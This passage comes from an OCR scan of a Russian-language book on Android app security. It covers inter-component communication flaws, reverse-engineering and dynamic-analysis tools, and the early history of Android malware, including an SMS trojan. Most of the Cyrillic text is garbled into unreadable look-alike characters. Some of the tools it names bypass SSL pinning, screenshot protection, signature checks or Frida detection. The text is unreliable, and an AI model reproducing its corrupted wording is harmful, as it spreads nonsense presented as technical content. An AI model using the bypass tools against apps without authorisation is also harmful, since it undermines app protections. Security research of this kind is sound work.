O SMO07: Broken Service Permission. TIpunoxeHHs MOryT MNpeJOCTaBJIATh IOCTYI
K CBO€H (YHKUHMOHAIBHOCTH C MOMOLIbIO CEPBUCOB. 3JIOYMBILULUIEHHUK MOXXET HC-
MOJIb30BATh 3TY BO3MOXHOCThH IS 3aITyCKa KOJa C MOBBIIIEHHBIMU MOJTHOMOYHIMH
(nonHoMoumusAMH cepBuca). UToOBl 3TOro H30exkarTb, CEPBHUC HOIDKEH NPOBEPATH
MOJTHOMOYMS  BBI3BIBAIOLIETO TPHJIOXKEHUS C TMOMOIIBI0 MeToJa  Context.
checkCallingPermission().

O SMO08: Insecure Path Permission. Hexotopeie NMpUIOKEHUS NPEAOCTABIAIOT JOCTYI
K CBOMM JaHHBIM ¢ nomoiusto ContentProvider’a, koTopelii agpecyer AaHHbIE, HC-
nonb3ys UNIX-nopgoGHblie myTH: /a/b/c. [IporpaMMHCT MOXXET OTKpPBITH IOCTYI
k cBoemy ContentProvider’y, HO oTpe3aTh ZOCTYN K HEKOTOPHIM IMyTAM (HampuMep,
K /data/secret). Ho ectp mnpobnema: pa3pabOT4YMKM 4YacTO MCHONB3YIOT KJ1acc
UriMatcher [UIS CPaBHEHHUs MyTeH, a oH, B oTiuure oT Android, cpaBHHBaeT ux 6e3
yueTa IBOHHBIX cieweil. OTciofa MOryT BO3HHUKHYTh OLIMOKY NPH pa3pelleHHH U 3a-
npeTe AoCTyma.

O SMO09: Broken Path Permission Precedence. CxoqHas ¢ npeabinyiue# npotiema. [1pu
omucanun ContentProvider’a B MaHudecrte pa3paboTuuk MOXeT yka3aTh, Kakue pas-
pelleHHs HyXHbI NPUIOKEHHUIO Ul JOCTyNa K onpeaeneHHbIM myTsaM. Ho B Android
ecTh 0ar, 13-3a Yero oH OTAaeT npeanouTeHue donee rnodanbHeIM MyTaM. Hanpumep,
€CJIM TIPUJIOXKEHHE JaeT AOCTYM K /data BCEM MOIAPSAA, HO HCMOJIB3YeT CIELHAIbHOE
pa3pelieHue 14 A0CTyna K /data/secret, TO B MTOre AOCTYN K /data/secret CMOIYT
MOJIyYHThb BCE.
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O SMI10: Unprotected Broadcast Receiver. ®akTidyecku aHanor npobnemsi SM04, Ho
pacnpocTpaHAIOIMicA HCKTIOYHTENBHO Ha BroadcastReceiver’st (cneuuansHbie 06-
pabOTYHKH HHTEHTOB).

O SM11: Implicit Pending Intent. Kpome unteHToB, B Android ecTh CymHOCTh NOA Ha-
3paHueM Pendinglntent. 310 cBoero poga OTIOXKEHHblE WHTEHTHI, KOTOpblE MOTYT
ObITH OTNPpaBIIEHB MO3)KE W JaXKE JAPYTHM MPUIOKEHHEM OT MMEHH CO3/aBILUETO MH-
teHT npuwioxenud. Ecnu Pendingintent mmpokoBemarenbHsiii, To Mmoboe nmpunoxe-
HHE CMOXKET MEPEXBATHTH €0 H MOCIaTh HHTEHT OT HMEHH 3TOTO MPHIIOXKEHHS.

O SM12: Common Task Affinity. AHanor npo6iaemsl StrandHogg.

Hackoneko akTyaJibHbl M paclpoCTpaHeHbl MepeyrcieHHble Bbillle MpobyieMbl (M0 MHe-
Huo aBTOpoB HccienoBanua Security Code Smells in Android ICC), noka3ssiBaer aua-
rpaMMa Ha puc. 11.2.

Puc. 11.2. O6wan pacnpocTpaHeHHOCTb owmnbok

B ynomsHyTo# paboTe Takke NMPUBOAUTCA MHOXKECTBO aHAJIMTHYECKHX AaHHBIX. Hampu-
Mep, COTJIaCHO CTATUCTHKE, B HOBBIX MPWIOKEHHAX MEHBIIE AbIP, Y€M B CTapbiX. bosbiue
IBIp Takke OOHapYXHMBaeTCA B MPHIOKEHHAX, KOTOpbIie pa3pabaThiBaloT Gonee NATH ye-
noBek. Hy u, koHe4YHoO ke, Gosblliee KOJIHYECTBO KOAa O3Ha4YaeT Oosblliee KONHYECTBO
YA3BHUMOCTEH.

IMpumepbl oWMOOK Takke MOXHO HaiTH B penosuropuu android-app-vulnerability-
benchmarks (https://bitbucket.org/secure-it-i/android-app-vulnerability-benchmarks/
overview). OH COIEPKUT UCXOAHHUKH MPHIIOKEHHH C pa3NHYHBIMH YA3BHMOCTAMH, KaX-
JI0€ M3 KOTOPBHIX CHaGXeHO MOAPOOHBIM OMHMCAaHHEM YA3BHMOCTH H MCIpaBJIEHHOH Bep-
CHEH.



Drozer u dpyaue uHcmpyMeHmbl 145

Buzsoaur

HecMoTps Ha mouteHHBIH Bo3pacT, Drozer 1o cux mop crnpasnsercs co cBoed paboTtoi
JIy4lle MHOTHMX APYI'MX UHCTPYMEHTOB. Ero siBHo€ JOCTOMHCTBO — TEKCTOBBIH HHTEp-
¢eiic, MO3BOAIOWMHA C MOMOLIBIO KOMAHA BBINOJHUTL MHOTHE 3afayM, VIS KOTOPBIX
B MPOTHBHOM ciy4ae npuuuiock Obl mucats cobGcTBeHHbIH codT. Hepocrarok B TOM
’Ke — He Bce crocoOHbI nepeBapuTh Takod uHTepdeiic B 2021 romy.

Apyrue uHCTpymeHTLI

VCI0BHO BCe MHCTPYMEHTHI aHAIM3a U peBepca NpHioxeHuid (He Tonbko a1 Android)
MO>KHO pa3JesIMTh Ha IBE IPYIIIbI:

O craruyeckuii aHaM3 — au3acceMOiIepbl, AEKOMMMWIATOPEI, Aeo6dycKkaTopsl U Mobbie
OpYrue yTWINTBI, KOTOpble paboTaloT C KOJOM, HE 3aIyCKas €ro;

0 AMHAMHYECKHH aHaIM3 — MHCTPYMEHTHI, C MOMOLIBIO KOTOPBIX MPHJIOKEHHE MOXKHO
3aIyCTHTh Ha BUPTYaJbHOM WJIH pealbHOM YCTPOWCTBE M NPOAHAM3HPOBATh €ro I1o-
BEJICHHE.

B o6eux rpynmnax ecTb yTHIHMTBI U JJIs CAMBIX MaJIEHbKHX (3aITyCTHI — MOIYYHJI CIIMCOK
YA3BUMOCTEN), U [T MAaTEpbIX CELMATUCTOB. MBI paCCMOTPHM HX BCE.

Cratuvecku aHanus

Hrak, a1 Hayana noroBopuM 06 MHCTPYMEHTaX CTaTHyeckoro aHanusa. Kaxaplii neHre-
CTep U peBepc-HHXEHEP JODKEH HMETh B CBOEM apceHalie XoTs Obl JBa M3 HHX. JTO Je-
KOMIUWJIATOP M Au3acceMOuiep.

JlekoMnunaTop HyxeH, yroOsl neperHath Gairtkon Dalvik o6patHo B kox Java M ¢ ero
MOMOILLBIO pa3o0paTbes, Kak pabotaetr npuinoxeHue. Ju3accembnep TpaHcaupyer G6ait-
KO/ B ropa3zo 6oyiee HU3KOYpOBHEBBIH ko Smali, B KOTOpOM TpyaHee pa3oOparbcs, HO
3aTO OH Bcerja KOPPEeKTeH HacTOJBKO, YTO €ro MOXXHO co6paTh 06paTHO B MPHIOKEHHE.
DT0i 0COGEHHOCTHIO MOXHO BOCIOJIb30BAaThCA, HaNpUMeEP, YTOObI BHEAPHTH B MPHIIONKE-
HHe cOOCTBEHHBIH KO, Kak MBI yxe 3To npoaenanu ¢ WhatsApp.

HCKOTOprC M3 OMHCAHHBIX UHCTPYMCHTOB MBI YK€ HCIIOJIb30BAJIM IIPH BCKPBITHH IPH-
HOKCHHﬁ, APYTHE XK€ MOT'YT NPATOAUTHCS B HCKITIOUHUTEJIBHBIX CUTYyalHUAX.

Jadx

INepBbiii MHCTPyMEHT B HalleM crnucke — aekoMnuiasTop Jadx (https://github.com/
skylot/jadx). 310 akTHBHO pa3BHBaE€MBI OTKPBITHIA ACKOMITWIATOP, KOTOPBIA BBIAAET
JAOCTaTOYHO HEIUIOXO# koA Java Ha BeIXoAe M Jaxe MMeeT QyHKiHIO Aeobdyckauuu
kona. PabotaTe ¢ HUM mpocTo: 3amyckaete Jadx-gui, ¢ ero momowsio BeiOupaere APK-
¢aiin NpUNoXKeHUH U BUANTE HEPapXHIO MAKETOB M (aiibl ¢ HCXOIHHMKaMH Ha Java.
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Jadx mMoxer pa60TaTb H B pCXKUME KOMaHIHOH CTPOKH. HanpuMep, clieaymwluias KoMaHaa
JOEKOMIMUIIUPYET MPUIOKEHHUE example.apk H MOMECTHUT HOJIy‘leHHbll'fl KOO Java B kaTanor
out:

$ jadx -d out example.apk

Bonee Toro, Jadx MoxkeT HOMOJHHUTENBHO CreHepHUpoBaTh (ainbl build.gradle, YTOOBI
UCXOIHUKHK MOXHO Ob110 UMIopTHpoBaTh B Android Studio:

$ jadx -e -d out example.apk

CobpaTh MpUIOKEHHE U3 HUX HE TMOJYYHTCS, 3aTO aHAJIM3UpOBaTh KoA OymeT ropasmo
ynoOHee.

JEB

JEB — elue oauH MOILHBIH AekonunaTop U au3accembnep wis Android-npunosxxeHui, no
MHOTUM napametpam obxonsaimuii Jadx. JEB yMeeT 1eKkOMIHIMPOBATh HE TONBKO OHTKOA
Dalvik u Java, Ho 1 HaTuBHBIH kox 114 X86 u ARM. JEB Takoke HMeeT BCTpOEHHBIH OT-
JTaqYMK, MOLIHbIE CPEACTBA IUIA pedakTOpHHra M aHauu3a KOAa, a TakKe MOANEPHKKY
CKPHUNTOB U IUIarHHOB (HanpHUMep, U1l aBTOMaTHYecKoH aeob6dyckauuy U paclupoBKH
ctpok). Berpoennslit B JEB nexoMnunaTop B esnoM 6osiee MoHbIH, yeM B Jadx u apy-
rux UHCTpyMeHTaxX. OHaKoO eCTh U OrpaHHYeHMe: LieHa, koTopas HauuHaercs ¢ 1000 non-
71apoB B rOf.

Apktool

Eume oouH yxe pacCMOTpeHHBIH HaMHM paHee MHCTpyMeHT — 3To Apktool (https:/
ibotpeaches.github.io/Apktool/). Ero Ha3HaueHHe — pa3bopka H cOOpka MPHIOKEHHUH.
[Tpu 3TOM TepMHH «pa3bopkay MoapasyMeBaeT AU3acCeMOIMPOBAHUE KOAA MPHIIOKEHHUS
B aitnbr hopmara Smali, a Taxoke JEKOMIPECCHIO pecypcoB U (aitna AndroidManifest .xml.

APKiD

Ota Hebonblas yTUINTA MOHaAOOUTCS BaM, KOraa Bbl 3ameTHTe, 4To Jadx He B cocTos-
HHUU JIEKOMITHJIMPOBATh NpHIOKeHHe. B GoNBIIMHCTBE ClTyyaeB 3TO 3HAYMT, YTO MPHIO-
»eHue 6pu10 06(yCUMPOBAHO WM YNAKOBaHO C MOMOLIBIO CMIELMATIbHBIX HHCTPYMEHTOB.
APKiD (https://github.com/rednaga/APKiD) no3Bonser y3HaTh, KakHe KOHKPETHO
WHCTPYMEHTBI OBUTH MCMOJIB30BaHBI, BBIACHHTH, OBUIO JIM MpPHUIIOKEHHE MNepecobpaHo
¢ noMouibio Apktool ¥ HCHIONB3YIOTCS JIM B HEM KaKMe-TO ApYrue TEXHHKH U1 3allUTh
OT Iu3acceMOIMPOBHHUA/ IEKOMITIIALIMH Y 3aITyCKa B BUPTYaJbHOH MalLIMHE.

APKiD paneko He Bceraa paboTaeT KOPPEKTHO, a B HEKOTOPbIX CTy4asX BooOiue He Bbl-
BOJOWT HUKakod MH$opMauuu Ha 3kpaH. Ho oH MoxkeT moMoub, €ciii Bbl B Tynuke. Bel-
BOJ YTWUJIMTHI MOHATHBIA, Halpumep, anti debug : Debug.isDebuggerConnected() check —
NpoBE€pKa, NMOAKIIOYEH JIH neGarrep C TMOMOWIBIO METOAa isDebuggerConnected. Hnu
anti vm : Build.MANUFACTURER check — IpOBEpKa MpPOU3BOAUTENA cMapTdoOHA C LEbIO
MOHATB, YTO HAXOAMILULCS B BUPTYaJIbHOHW MallMHE.

Ho ecTb o1HO HeoueBHAHOE Mone: compiler. OHO OOBIYHO COOEPHKMT dx WM dexlib. DX —
cranaaptHeiid komnunatop Android SDK, a dexlib — 3to 6ubnanorexa c6bopku daiinos
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DEX u3 Apktool. I[Ipouie ropops, ecinu B Moje compiler HAXOOUTCA dexlib, 3HAYMT, MPU-

JoxeHHe OblIo mepecobpaHo ¢ nomolubio Apktool MAM aHaJIOrMYHOTO HMHCTPYMEHTA
(puc. 11.3).

Puc. 11.3. PesynbtaTt pa6otsl APKID B 0THOWeEHWU Heckonbkux 06pa3uos Manesapm

Simplify

Yro, eciu APKiD coobiuaet o npuMeHeHUH 06¢yckaTopa, a NpH MOMBITKE U3YYHTh KOX
BBl CTaJKHBaeTeCh ¢ 3alIM(PpPOBaHHBIMH CTpokaMHu? B 3ToM ciyyae HyxeH meobdycka-
TOp, KOTOPBIA CMOXKET caenarth kol Oosiee ynTaeMbiM. AGCOIIOTHOE GONBLUIMHCTBO J€00-
¢yckaTopoB, KoTopbie Bbl Haiinete B IHTepHeTe, yMeroT 60pOThCS TONBKO C OMHUM HITH
HECKOJbKUMH 00(dycKkaTopamMu, 3a4acTylO YCTapeBIUINX BEPCHH.

Simplify (https://github.com/CalebFenton/simplify) — yHuBepcaneHblii neobdycka-
Top. BMecTo TOro ytoObl MCKaTh B KOZ€ 3HAKOMBIE MATTEPHbI, OH 3aMyCKaeT KOA B BUP-
TyaJIbHOH cpelie U AaeT eMy BO3MOXKHOCTb CZIeJIaTh Bce caMoMy. B npouecce ncnonHenus
KoJ caM paciiudpyet 3amrdpoBaHHbIE CTPOKH, YKOKET HA MECTa, KOTOpble HUKOra He
OyayT ucnonHeHsl (00¢dyckalus ¢ MOMOLUBIO MEPTBOro KOAa) U YKaXKET Ha peasbHbIi
THI OOBEKTOB, MOJYYEHHBIX C MOMOILBIO peduieKCHH (a 3TO MO3BOJIMT BHINOIHHUTH Ae-
pednexcuio).

H3-3a ocobeHHocTelH peanu3auuu BUpTyanbHOi MawmnHbl Simplify peako croco6eH npo-
aHaJIM3UpPOBaTh BCE MPUIOXKEHHE UEIHMKOM. [lo3TOMy €ro CTOMT HCMONB30BaTh AN
neobdyckaly OTaeTBHBIX METO M KIacCoB (3TO MOXHO CHIEJIaTh C MOMOLIBIO duiara -it):

$ java -jar simplify.jar -1t 'org/cf/obfuscated' simplify/obfuscated-app.apk

DeGuard

Simplify nomoxxet, ecnu npunoxeHne ObLIO MpPOMYyLIEHO Yepe3 MOLUHbIH 06¢yckaTop.
OnHako 60JBIIMHCTBO MPOrPaMMHUCTOB He OOpEMEHSIOT ceds MpUMeHeHHeM 4ero-To 60-
Jiee CNoXKHoro, yem Bxogawuii B coctaB Android Studio ProGuard. A ProGuard — 3to
ONMTHMHU3ATOpP, B KOTOpPOM GYHKUHMS 00dyckauuu mosBUiIach Kak noOo4dHeld 3¢ ¢exT.
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EnuHCTBEHHOE, YeM OH 3allyThIBAa€T peBEpcepa, — 3TO U3MEHEHHbIE Ha GECCMBbICIEHHBIH
Habop OykB MMeHa KJIacCOB, METOIOB U MOJIEH.

Pa3o6parecs B 06¢dycunpoBanHoM ¢ noMouibto ProGuard koae He Tak yK H CIOXHO, HO
CJIOXKHEe, YeM B COBCeM HeoOdycLMpoBaHHOM (B /1Ba pa3a CJIOXKHEE, €C/IM BEpUTh Hccle-
noBaHusaM). [Toatomy naxke s ProGuard cywecTByroT neobdyckaropsi.

DeGuard (http://www.apk-deguard.com) — Haubonee MHTEpECHBIH U3 HHX. 3TO BeO-
CEPBHC, CO3JaHHbIA B Bricuieit TexHuueckor mkone [ropuxa. C noMowpto HeipoceTe
OH crnocobeH BOCCTAaHOBHMTH (a TOYHee, MpelcKa3aTh) OPHUTHHAIBHbIE MMEHAa MaKeTOB,
K/1accoB, MeToioB M nojei. OnHa npobneMa: Hepeako neo0dyCLMPOBaHHBIA KO 3aITy-
ThIBaeT eule 6onbiue, yeM opuruHan (puc. 11.4).

Puc. 11.4. Mpumep aeobdpyckauun ¢ nomouybio DeGuard

Bytecode Viewer

A 370 pewieHMe Kiacca «Bce-B-ogHoM». Bytocode Viewer (https://bytecodeviewer.com/)
coueraeT B cebe ynkumu Jadx, Apktool u eme Heckonbkux HHCTpyMeHTOB. OH ymeer
au3acceMOTMPOBaTh MPWIOXKEHHS, NEKOMIHIMPOBATh UX C MOMOIUBIO MATH pa3IMuHbIX
nBwxkoB aekomnuisuuu (JD-Core, Procyon, CFR, Fernflower, Krakatau), pacumdpo-
BBIBaTh CTPOKH C MOMOUIBIO TpeX ABWXKKOB JAelIM(pOBaHHA, KOMITHIAPOBATh MpPUIIOXKeE-
HUe o0paTHO M3 IEKOMIMIMPOBAHHOTO Koaa (¢ noMouusto Ranino Compiler) u naxe uc-
KaThb 3/710BpeHbIi Koa!

MHorue peBepcepbl peKOMEHAYIOT HCIOIb30BaTh MMEHHO 3TOT HHCTPYMEHT [UIS aHaln3a
npuaoxeHuid. UX apryMeHT COCTOMT B TOM, 4TO JIt0OOH APYroi AeKOMNHIATOp (TOT xke
Jadx unu nonynspubiit JD-Gui (http://jd.benow.ca/)) MoxeT ciomatscs 06 06¢ycuupo-
BaHHBIM MM CrielHaTbHBIM 00pa30M HanMCaHHbBIA KOA M MPOCTO He MmokaxeT ero. B To
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xe BpeMms Bytecode Viewer, Gnarogaps HaIM4YMIO Cpasy MATH ABHXKKOE AEKOMITHIIALMH,
“MeeT OoJblIe LIAHCOB I€KOMITHIMPOBATh TaKOE NMPUIIOKEHHE.

Ha camom e Jene He Bce Tak pagyxHo. Bytocode Viewer — 310 koe-kak paboTarolnas
cOOpHas CONHKA U3 Pa3IMYHBIX OTKPBITHIX HHCTPYMEHTOB. Jla, B HEM MHOXKECTBO JIBHXK-
KOB JEKOMMUIIALMH, HO, MOXO0XE, aBTOpP MEpecTan CIECAMTb 332 CBOMM IMPOH3BEACHHEM.
Tekyuias Bepcus Bytecode Viewer yxxe He MOoxeT OTKpbITh 60nbIMHCTBO APK.

QARK

3akOHYMM paccka3 o craThdeckoM aHanuse HHCTpyMeHToM QARK (https://github.com/
linkedin/qark). 3To yTHauTa 111 aBTOMaTHYECKOTO MOUCKA YSI3BUMOCTEMN B NMPHIIOKEHH-
ax. JloctaToYHO HaTpaBUTh ee Ha HyxHbIi APK nnu karanor ¢ ucxoanukamu, ¥ QARK
npoBefeT aHanu3 MaHudecTa, AEKOMIUIMPYET, NMPOAHATH3MPYET HUCXOAHHUKH H Jaxe
nonpoOyeT co3aaTh 3KCIVIONT AJs B3/IOMa NPUIOKEHHS C MOMOLUBIO HaHAEHHBIX YsA3BHU-
MOCTEH.

[TonszoBatbes QARK oyeHb npocTo — 3amyckaeTe QarkMain.py, OTBEYAETE HA HECKOJILKO
BOMPOCOB, U nosny4aere otyeT B popmare HTML B karanore quark/report (puc. 11.5).

Puc. 11.5. Otuyet Qark

Kak u apyrue aBTOMaTH3HpOBaHHblE HHCTPYMEHTHI, Qark He MOXeT TOYHO MpeAcKa3aTh
HaIMYWe YA3BUMOCTH, OH JIMLIb BBICKA3bIBA€T MPeonosodceHue O €€ CylUECTBOBAHHU U
JlaeT peBepc-HHKEHEPY HaMEK, B KaKyl0 CTOPOHY ClI€yeT KOMNarh.

OuHamuueckuin aHanus

CraTHyeckdii aHaJIW3 NIPUIOXKEHHUS HE BCEraa Mo3BOsET PacKpbITh Bce MNOAPOOHOCTH €ro
noseneHus. Koa Moxer ObITh 3a1indpoBaH YNakoBUIMKOM, MPHIIOKEHHE MOXKET JOKauH-
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BaTb CBOM KOMITOHCHTBI HU3 I/IHTepHeTa, paCl.lll/l(prBblBaTb CTPOKHU TOJIBKO BO BpEMst UC-
NOJIHEHHA K €JIaTh APYIrHE€ BEUIH, KOTOPBIC HEJIb3d YBUIACTD, UATAsl KOI.

OOHapy>XUTh TaKHE BELIH MOXKHO C MOMOILBIO JUHAMHUYECKOTo aHanu3a. To ecTh myTem
3aITycKa MPHI0KEHUs Ha peajlbHOM YCTPOWCTBE WM B 3MYJIATOpE U U3YyUeHHs €ro nose-
JIEHUA C MOMOLUBIO CMELUABbHBIX MHCTpYMeHTOB. MMeHHO 3TO mpoucxoaur B Google
Play, kxorma pa3zpabotumk 3anuBaeT HOBYIO Bepcuio npuiokeHus. Cepsepbl Google 3a-
MYCKAIOT €ro B BUPTYAJIbHOH Cpelie U, eCIM NPUIIOKEHHE Ne/IaeT KaKWe-TO HenpaBoMep-
Hble JeCTBHUS, 3aNpeLlaeT ero myoJIMKaLMIo.

Objection

Frida — o4eHb nmonynspHelid HHCTpyMeHT. Ha ero ocHoBe 6b110 c030aHO MHOXECTBO 60-
nee BbicOKOypoBHeBbIX YTHIHMT. Objection (https://github.com/sensepost/objection) —
oxHa U3 HMX. OHa Mo3BoJIseT BHEAPUTHCS B npuioxkeHue iOS unu Android u nposectu
aHalM3 ero MpUBAaTHOrO KaTajora, NMaMsATH, KJIacCOB, METOJOB, M3BJIEYb COAEPKHUMOE
6a3bl SQLite, 000¥TH SSL-NHUHHUHT.

Objection 4yeM-To MOX0X Ha cCOBpeMeHHbIH aHanor Drozer ¢ psagoM ¢GyHKUHMH, MO3BO-
JSIOLUUX MEHATh MOBEJCHHUE MPUIOKEHHS M UCCIIEA0BaTh €ro NPUBATHBIIA kaTanor u Oa-
3bI AaHHBIX (puUC. 11.6).

Puc. 11.6. KoHconb Objection

Inspeckage

Inspeckage (http://repo.xposed.info/module/mobi.acpm.inspeckage) — euie oauH BbI-
COKOYPOBHEBBIH HHCTPYMEHT AMHAMMYECKOr0 aHanu3a mpuaoxeHdi. OH MMEEeT Oorpom-
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HOE KOJIHYECTBO BO3MOXHOCTEH: MOTyuYeHHe WH(POpMaUMH O MOJHOMOUMSAX, aKTUBHO-
CTAX, KOHTEHT-NIpOBaiilepax U cepBUCaX, yMeeT nepexBaTbiBaTh oOpameHus k SQLite,
HTTP-cepBepam, daitnosoi cucteme, 6ydepy obMeHa, kpunrorpadpHyeckuM GyHKLHAM,
3aIycKkaTh akTHBHOCTH, moawmodatbes k ContentProvider'aM u BBIMONHATH crrydHHr
MECTOMOJIOXKEHHS.

Bce 3TO MOXHO caenath, Mcnonb3ys yaoOHbIN BeO-uHTepdeiic (puc. 11.7). Ho nepen
3TUM Ha cMapTdoHe HeoOXOQMMO MONy4YHTh MpaBa root, a 3aTeM YCTaHOBHTb Xposed
Framework (kotophiii kak pa3 u no3ponseT Inspeckage BBINONHATH NEpexBaT YIpaBie-
HHA).

Puc. 11.7. naBHbIn 3kpaH Inspeckage

Y10 euwe moxer NpuroanTbCa?

BOT HeCKONBKO MOJNE3HBIX MHCTPYMEHTOB, KOTOpblE MOTYT MPUTOAWTBCS CHELUHaIH3U-
pytouieMycs Ha Android peBepc-HIKeHepy:

O Move Certificate (https://github.com/Magisk-Modules-Repo/movecert) — monyns
Magisk, nosBonstowui caenathb mo60o# cepTUdUKAT CUCTEMHBIM;

O DisableFlagSecure (https://repo.xposed.info/module/fi.veetipaananen.android.
disableflagsecure) — Moxynes Magisk, oTK/IIOHAIOWIMIA 3aUIMTY Ha CHATHE CKPHHLLO-
TOB (FLAG_SECURE).

O Smali Patcher (https:/forum.xda-developers.com/apps/magisk/module-smali-
patcher-0-7-t3680053) — Windows-npuio>keHHe 11 reHepaly KaCTOMHBIX MOAY-
ned Magisk ¢ pasnuyHOH (pyHKLHMOHAJIBHOCTBIO: OTKIIOYEHHE 3ALUMTHI Ha CHSATHE



152 YACTb Il. naea 11

CKPHHLIOTOB, MOAJENIKA MECTOIUIOKEHHA, OTKIIIOYEHHE NPOBEPKH LIM(QPOBBIX MOIMH-
cell MPHJIOKEHUH U T. A.;

0O ADB Manager (https:/f-droid.org/en/packages/com.matoski.adbm/) — npunosxe-
HHe, no3pounsiolee 3amyctuth ADB B pexxume WiFi;

O ProxyDroid (https://play.google.com/store/apps/details?id=org.proxydroid) —
NO3BOJIAET BHIOPATh MPOKCH HHAMBUIYAJIBHO IS KaXKAOTO MPUIOKEHHUS;

O Pidcat (https:/github.com/JakeWharton/pidcat) — yTunura a1a BbIGOpOYHOro
otobpakeHus soros logcat ¢ yno6HbIM GOopMaTHPOBaHHEM.

O Strong-frida (https://github.com/feicong/strong-frida) — natuu ana Frida, no3eo-
naouue u3bexxats o6HapyxkeHus ppeiHMBopKa.
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Uctopusa supyconucarenscrea
ana Android

Android npuHATO Ha3pIBaTh paccagHMKOM BHUPYCOB M 63kmopoB. Kaxaplit JeHb B MHpe
BBIABIAIOT Gostee 8 ThICAY HOBBIX 00pa3ioB ManBapu. U 3TH uMOpBl NOCTOSHHO PacTyT.
INepBsiii 3xcnieprMeHTaNbHBIA 0Opa3ell nmosHoLeHHOro TposiHa aya Android 6su1 mpen-
craBiieH eue jJetoM 2010 rona Ha koHpeperuuu DEFCON 18. C Tex nop npouuio oauH-
HaJILaTh JIET, M 32 3TO BpeMs KoJnuecTBO BUpycoB i Mo6uibHOi OC ot Google BbI-
pocio B MUUTHOHBI pa3, a camMa Google ycnena npuayMath AeCATKH pa3TMYHBIX METOAOB
NPOTHBOCTOSHUA YIPO3aM.

Ho Hawei 3pez,
unu Kak Hanucatb supyc 3a 15 muHyr

IlepBble MOMBITKK CO3AaTh BPEAOHOCHBIH codT ang Android U 0Ka3aTh HECOCTOATEND-
HOCTb I'yTJIOBCKOH MOOGHIBHOM IIaTGOpPMBI ¢ TOYKM 3peHUA GE30MacHOCTH NMpEANPHHH-
MaJHCh C MOMEHTA IMyOnukauuy npeaBaputenbHbIX Bepeuid Android SDK B 2007 rogy.
Monoaple cTyaeHTsl MUCaTH codT, KOTOPHIH HCTOIb30BAl CTAHAAPTHYIO (yHKLMOHAJIB-
HocTh cMapTdoHa mna uteHus SMS, a «uccnenoBaTenbckue» komanasl Bpoae Blitz Force
Massada nemoHcTpupoBanu ax «30 BekTopoB atak Ha Android», HariAAHO MOKa3biBasi,
KaK MOXKHO MCIONb30BaTh cTaHAapTHeE API Android Bo Bpe1OHOCHBIX LEMAX.

3710 6BUIO BpeMs UrpyLIEK, KOTOpbIE HENb3s ObLI0O Ha3BaTh HU HACTOALUMM BPEAOHOCHBIM
10, Hu Tem Gonee Bupycamu. To TYT, TO TaM MOABJISIIMCH NMPHIIOXKeHHs Bpoae Mobile
Spy ot Retina-X Studios, no3BonsBIIME yIaJIEHHO YATATh TEKCTOBBIE COOOLIEHHS, HCTO-
pHIO 3BOHKOB, NMPOCMATpHBaTh GoTOrpaduH, BUAEO, ONMpEeAENATh KOOPAMHATEI cMapTdo-
Ha. Eme OblM nomysnspHBl pa3iMyHble NOANENbHBIE NMPUIIOKEHUA, Takue Kak oOHapy-
XeHHbIH B MapkeTe B sHBape 2010 roga HeopHUHMANbHBIA KIWEHT Ui pa3lUYHbIX GaH-
KOB, KOTOpBIf HM C Y€M HE COEAMHSAJICH, a MPOCTO YBOAWI HOMEpa KPEAUTHBIX KapT,
BBEJEHHbIE CAMHM I0JIb30BaTENEM.

Bonee-mMeHee HactosmMi TposH Obu1 peanu3oBaH Tonbko B 2010 romy. Ero aBTop —
cekblopuTH-KoMnaHus Trustwave, koTopas NMpoaeMOHCTPHUPOBaJa €ro Ha KOH(pepeHUHH
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DEFCON 18. BripoueM, AMEpUKH OHH HE OTKPBUIX: TPOSH ObUT BCEro JIMIIb CTaHAAPT-
HBIM MoAyJieM sapa Linux, KOTopbli nepexBaThiBajl CHCTEMHBIE BBI3OBBI write (), read(),
open () M close(), a TAKXKE CO3JaBaJ] PEBEPCHUBHBIH LIEILT 110 3BOHKY C ONPEAeNeHHOro HO-
Mepa. Bes 3Ta pyHKUHMOHATBHOCTB MO3BOJISIIA MOAKIIOUMTECA K CMAapTHOHY yIaJeHHO U
CKPBITHO HCIOJIb30BaTh €0 BO3MOXKHOCTH B CBOMX LIENIIX, B TOM YHCJIE€ YUTaTh KOHOH-
JACHUHMANBbHYI0 HHPOPMALIMIO.

Hns ycraHoBkd TposiHa TpebGoBasics (u3MYEecKHH AOCTYN K YCTPOKMCTBY, MpaBa root u
cmaptdon HTC Legend (Moaysip ObLT COBMECTUM TOJIBKO C €ro SAPOM), MO3TOMY HH
0 KaKOM MpaKTU4YeCKOM NMPHUMEHEHHH peud He uuio. Proof of concept, koTopslil noka3zan
TOJIBKO TO, 4TO A4po Linux u B cMaprTdoHe octaercs sapom Linux.

Hacroswmwmii TposiH B «aukoil npupone» (He MapkeTe) ObUT HaieH TOJNLKO B aBrycTe
2010 ropa corpyanukoM Jlaboparopuu Kacnepckoro Jlenncom MacnenHukoBbiM. [pae-
[a, 3T0 ObUT COBCEM HE TOT THMIN TPOsHA, O KOTOPOM MpPHHATO rOBOpUTH B Kpyrax IT-
CMELMATIUCTOB, a BCero Juub SMS-TposiH, T. €., N0 CyTH, OOBIYHOE MPUIOKEHHE, KOTO-
poe uuter SMS Ha nnatHele Homepa 6e3 BenoMa moss3oBarens. [1o cyTd, urpyluka, Ko-
TOPYIO XOpPOLUMH NpOrpaMMHCT HaIMILET 3a Mojiyaca, HO OY€Hb OIacHas, Momaayd OHa
B CMapT(OH 0OBIYHOTO MOJIB30BATENS.

TposH, nonyunBwmid uMs Trojan-SMS.AndroidOS.FakePlayer.a, mpukuasiBancs Bugeo-
IUIEEpOM T0J] HE3aMBICJIOBaThIM HazBaHWeM Movie Player u oO0nagan MkoHko# ctaHaapT-
Horo npowurpeiBatens u3 Windows. [IpunoxxeHne tpeboBano npasa 10cTyna kK KapTe na-
MATH, oTnpaBke SMS U moJiydyeHHIO JaHHBIX O cMapT(doHe, 0 YeM cHUcTeMa coolluana
nepea ero ycraHoBkod. Ecim 3To Bce He cMyLIao TMOJIb30BaTens M OH COMVIAILAICH
C YCTaHOBKOM, a MOTOM 3aITycKaj MpWIOXKEHHE, OHO MOBUCATO B GOHE W HAYHHANIO OT-
npaBky SMS Ha Homepa 3353 u 3354, kaxxpas u3 kotopeix obxoamnacek B 5$. Homepa
3TH, KCTATH, JeHCTBOBAJIM TOJIBKO Ha TEppUTOPHH Poccum, Tak 4To HETPYOHO JAOraaaThes
0 HalMOHAJIbHOM MPHHAAJIEKHOCTH aBTOpa.

B oxta6pe 6611 06HapyskeH apyroi Tun SMS-TposHa. Ha 3ToT pa3 3510Bpea HCnosb30Bai
